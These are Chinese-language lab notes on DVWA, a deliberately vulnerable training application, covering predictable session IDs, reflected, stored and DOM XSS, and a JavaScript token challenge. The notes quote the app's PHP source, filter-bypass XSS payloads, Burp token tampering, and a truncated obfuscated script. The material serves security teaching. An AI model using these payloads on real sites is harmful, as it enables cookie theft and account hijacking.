- cookie類似一個令牌,裝有sessionId,存儲在客戶端,瀏覽器通常會自動添加。
- token也類似一個令牌,無狀態,用戶信息都被加密到token中,服務器收到token後解密就可知道是哪個用戶。需要開發者手動添加。
- jwt跨域認證的方案

# 3. 原理
- Session利用的實質 :由於SessionID是用戶登錄之後才持有的**唯一認證憑證**,因此黑客不需要再攻擊登陸過程(比如密碼),就可以輕易獲取訪問權限,無需登錄密碼直接進入特定用戶界面,進而查找其他漏洞如XSS、文件上傳等等

- Session劫持 : 就是一種通過竊取用戶SessionID,使用該SessionID登錄進目標賬戶的攻擊方法,此時攻擊者實際上是使用了目標賬戶的有效Session。如果SessionID是保存在Cookie中的,則這種攻擊可以稱爲Cookie劫持。SessionID還可以保存在URL中,作爲一個請求的一個參數,但是這種方式的安全性難以經受考驗。

Level - Low

  • 代碼分析
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?> 

結論:

- 可看到session是如何生成的,初始值爲0,每次增加1。這裏我們可以通過Brup進行抓包,很容易發現規律。然後我們可以通過規律自己構造session,在火狐上使用hacker,來實現不需要密碼,登錄網站的目的。

Level - Medium(待完成)

Level - High(待完成)

Level - Implossible(待完成)

Dvwa - XSS

# 1. Xss概念
- 由於web應用程序對用戶的輸入過濾不嚴,通過html注入篡改網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。

# 2. Xss類型
- 反射型XSS:只是簡單地把用戶輸入的數據反射給瀏覽器,簡單來說,黑客往往需要去誘使用戶點擊一個惡意鏈接,才能攻擊成功。  

- 存儲型XSS:將用戶輸入的數據存儲在服務器端,每次用戶訪問都會被執行js腳本。

- DOM型XSS:文本對象模式xss,通過修改頁面的DOM節點形成的XSS,可存儲型,可反射型,只取決於輸出地點。

# 3. Xss應用場景
- 利用xss獲得cookie
- 重定向
- 釣魚網站
- DDOS

Dvwa - XSS(DOM)

DOM型XSS:文本對象模式xss,通過修改頁面的DOM節點形成的XSS,可存儲型,可反射型,只取決於輸出地點。

Level - Low

  • 代碼分析
<?php

# No protections, anything goes

?>

結論:

- 可以看出沒有任何過濾,直接將用戶提交的GET參數name輸出到頁面,我們可以輸入payload。在default後面拼接
<script>alert(1)</script>

wechat_20210515214059.png

Level - Medium

  • 代碼分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
?>

結論:

先檢查了default參數是否爲空,如果不爲空則將default等於獲取到的default值。這裏還使用了stripos 用於檢測default值中是否有 <script  ,如果有的話,則將 ?default=English 。

使用其中的一種方法。

既然是DOM型,這裏不需要與服務端進行交互。url中有一個字符#,該字符後的數據不會發送到服務器端,從而繞過。

構造:

?#default=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

wechat_20210602203302.png

Level - High

  • 代碼分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
?>

結論:

可以發現使用了白名單的思想,只允許French,English,German以及Spanish,這裏先判斷defalut值是否爲空,如果不爲空的話,再用switch語句進行匹配,如果匹配成功,則插入case字段的相應值,如果不匹配,則插入的是默認的值。
使用上文另類方法中的#號繼續繞過服務端過濾即可。

方式一:?default=English#

方式二:?#default=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

wechat_20210602203752.png

Level - Impossible

  • 代碼分析
<?php
# Don't need to do anything, protction handled on the client side
?>

結論:

- 瀏覽器一般都會對url中獲取的內容進行編碼,防止JavaScript注入。

- 我們發現語言框內的值是我們輸入的參數的經過URL編碼後的數據,發現這裏對我們輸入的參數並沒有進行URL解碼,所以我們輸入的任何參數都是經過URL編碼,然後直接賦值給option標籤。所以,這裏就不存在XSS漏洞了。

Dvwa - XSS(Reflected)

反射型XSS:只是簡單地把用戶輸入的數據反射給瀏覽器,簡單來說,黑客往往需要去誘使用戶點擊一個惡意鏈接,才能攻擊成功。

img

Level - Low

  • 代碼分析
<?php

header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

結論:

可以看到沒有對參數做任何防禦處理措施,直接輸出。故存在xss攻擊漏洞

Xss 常用攻擊:

# 1. 一般Xss攻擊
- <body onload=alert('xss2')> 

- <a href='' onclick=alert('xss3')>click1</a> #點擊click1時彈出xss3

# 2. 重定向
- <script>window.location='http://www.163.com'</script>

# 3. 獲取cookie
- <script>alert(document.cookie)</script>

image-20210603235941612

image-20210604000011787

image-20210604000119141

image-20210604000142699

Level - Medium

  • 代碼分析
<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

結論:

- 可以看到使用str_replace函數只對參數進行了簡單的替換,過濾<script>,別的沒有過濾,此時可以用大小寫或者別的標籤來繞過。

Xss常用攻擊:

# 1. 大小寫繞過
- <Script>alert('xxx')</script>

# 2. 組合過濾條件繞過
- <scr<script>ipt>alert('sss')</script>

# 3. 嘗試使用別的標籤來繞過
- <body onload=alert('s')>

- <a href='' onclick=alert('ss')>click</a>

- <a href='' onclick=alert(/ss/)>click</a>

image-20210604000350753

image-20210604000414008

image-20210604000533845

image-20210604000547814

image-20210604000613360

Level - High

  • 代碼分析
<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

結論:

使用了preg_replace正則表達式函數,對參數進行過濾,查看源碼可以看到對<script>標籤進行了嚴格的過濾,但沒有過濾別的標籤,此時可以通過img、body等標籤的事件或者iframe等標籤的src注入惡意的js代碼。

Xss常用攻擊:

- <body onload=alert('s')>

- <img src="" onerror=alert('xss')>

- <a href='' onclick=alert('ss')>click</a>

- <a href='' onclick=alert(/ss/)>click</a>

image-20210604001104018

image-20210604001119617

image-20210604001131612

image-20210604001147326

Level - Impossible

  • 代碼分析
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>

結論:

嘗試使用 Level - Low 和 Level - Medium 和 Level - High方法對Level - Impossible進行XSS攻擊。查看結果。

- Level - Impossible 使用htmlspecialchars函數對參數進行html實體轉義,此時就無法利用反射XSS漏洞了。

Dvwa - XSS(Stored)

img

Level - Low

  • 代碼分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}
?>

結論:

- 首先對兩個參數使用trim函數過濾掉兩邊的空格,然後$message使用mysql_real_escape_string函數轉義SQL語句中的特殊字符,使用stripslashes函數過濾掉”\”,對$name參數中使用mysql_real_escape_string函數轉義SQL語句中的特殊字符。

- 從上面的代碼可以看到,沒有防禦XSS漏洞,只防御了SQL注入漏洞

Xss常用攻擊:

# 1. 一般xss攻擊
- <script>alert('x')</script>

- <body onload=alert('sss')>

image-20210604002613498

image-20210604002711080

# 2. 重定向
- <script>window.location=’http://www.baidu.com’</script> # 可能出現不成功的情況

Level - Medium

  • 代碼分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}
?>

結論:

- 看到對$message參數做了很嚴格的過濾(進行html實體轉義以及轉義SQL語句中使用的特殊字符,杜絕了對$message關於xss的利用),但對$name參數做的過濾不嚴格,只是替換<script>以及轉義SQL語句中使用的特殊字符,可以使用別的html標籤對$name參數的防護進行繞過。

Xss常用攻擊:

# 1. 步驟
- 使用Burp Suite 攔截 進行參數更改,突破Name限制長度等問題。

# 2. name 替換爲一下 xss代碼
- <Script>alert('x')</script> # 演示

- <body onload=alert('xss')> # 不演示

- <a href='' onclick=alert('xss')>click</a> # 演示

image-20210604004039796

image-20210604003830216

image-20210604004133903

Level - High

  • 代碼分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}
?>

結論:

- 可以看到相比較中級而言,高級對$nam參數多了對<script>嚴格的過濾,沒有對別的標籤做過濾,但可以通過別的html標籤來進行繞過。

Xss常用攻擊:

# 同理 使用 Burp Suite攔截 對name長度限制進行突破。
- <body onload=alert('xss')>

- <a href='' onclick=alert('xss')>click</a>

image-20210604004448870

Level - Impossible

  • 代碼分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();
?>

結論:

嘗試使用 Level - Low 和 Level - Medium 和 Level - High方法對Level - Impossible進行XSS攻擊。查看結果。

- 分析源碼可以看到,對兩個參數都做了html實體轉義,無法利用xss。

Dvwa - CSP Bypass(待完成)

Level - Low

Level - Medium

Level - High

Level - Impossible

Dvwa - JavaScript

參考文檔:https://www.cnblogs.com/jojo-feed/p/10206443.html

參考文檔:https://www.cnblogs.com/zhengna/p/12794754.html

Level - Low

  • 代碼分析
<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }

    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }

    generate_token();
</script>
EOF;
?>

結論:

- 查看源代碼: 發現輸入的內容 會通過 `document.getElementById("token").value = md5(rot13(phrase));` 進行md5加密;並寫入到token。

Submit the word "success" to win.

# 1. 輸入ChangeMe 提示 You got the phrase wrong.

# 2. 輸入success 提示 Invalid token. 說明token值不對

- 使用 瀏覽器的ConSole 執行 md5(rot13("ChangeMe")) 和 md5(rot13("success")) 查看兩者值的區別。

wechat_20210531090613.png

# 3. 使用Burp Suite攔截
- 輸入的success時,Burp Suite攔截查看token值。輸入success,token值依然爲ChangeMe的token值。
- 原因: 前臺生成的 token和 使用 md5(rot13("ChangeMe")),和後臺生產的token值不一樣,後臺success的token值是md5(rot13("success"))

wechat_20210531091037.png

# 4. 使用Burp Suite攔截修改token值
md5(rot13("success"))
"38581812b435834ebf84ebcc2c6424d6"

wechat_20210531091519.png

wechat_20210531090120.png

Level - Medium

  • 代碼分析
function do_something(e){
    for(var t="",n=e.length-1;n>=0;n--)
        t+=e[n];return t
}
setTimeout(function(){
    do_elsesomething("XX")
},300);
function do_elsesomething(e){
    document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}

結論:

# 方式一:
- 中級和低級的形式一樣,都是求success的token值,查看源代碼,發現引入了一個js來創建token
- js代碼中:**do_something(e)**的含義是將一個字符串翻轉,就是倒過來
- **setTimeout(function(){do_elsesomething(“XX”)},300)**的含義是每300毫秒執行一次do_elsesomething(“XX”)
- **do_elsesomething(e)**的含義是該函數調運do_something(e)函數來設置token值,其中e等於XX+phrase+XX
- 總體含義是該函數通過將phrase進行字符串拼接,及XX+phrase+XX,最後將該值設置token及將XX+phrase+XX翻轉倒過來即可。
- XXsuccessXX -------> XXsseccusXX

# 方式二:
- 複製源碼在js平臺運行一下,console.log爲輸出函數

同 Level - Low 只要將success修改爲XXsseccusXX即可

wechat_20210531092412.png

Level - High

  • 代碼分析
<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/high.js"></script>
EOF;
?>

引入一個js文件,防止查看源代碼進行了混淆或者說加密。

high.js

var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x